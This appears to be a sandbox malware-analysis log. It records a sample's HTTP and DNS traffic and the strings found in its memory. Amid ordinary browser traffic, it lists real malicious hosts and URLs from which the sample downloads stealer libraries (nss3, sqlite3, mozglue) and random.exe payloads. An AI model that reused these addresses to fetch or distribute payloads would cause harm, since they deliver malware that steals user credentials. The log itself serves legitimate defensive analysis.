Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2346E46F5BBE6A5B0188F1535AD96B1F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=da473c000fda410ff89c0c3e3cd986f2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=172dd52f68c30b46c60dd6f1732035647; XID=172dd52f68c30b46c60dd6f1732035647
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2346E46F5BBE6A5B0188F1535AD96B1F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bfc2b412523d4d0395c8ba2027b30aaa HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54C6DB1DE9BC449EBCDB7DC6FE4E37E3&MUID=2346E46F5BBE6A5B0188F1535AD96B1F HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 197.87.175.4.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe/
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe:
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exea
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1392
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395d7f
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe7
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeI
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeT
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeata
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
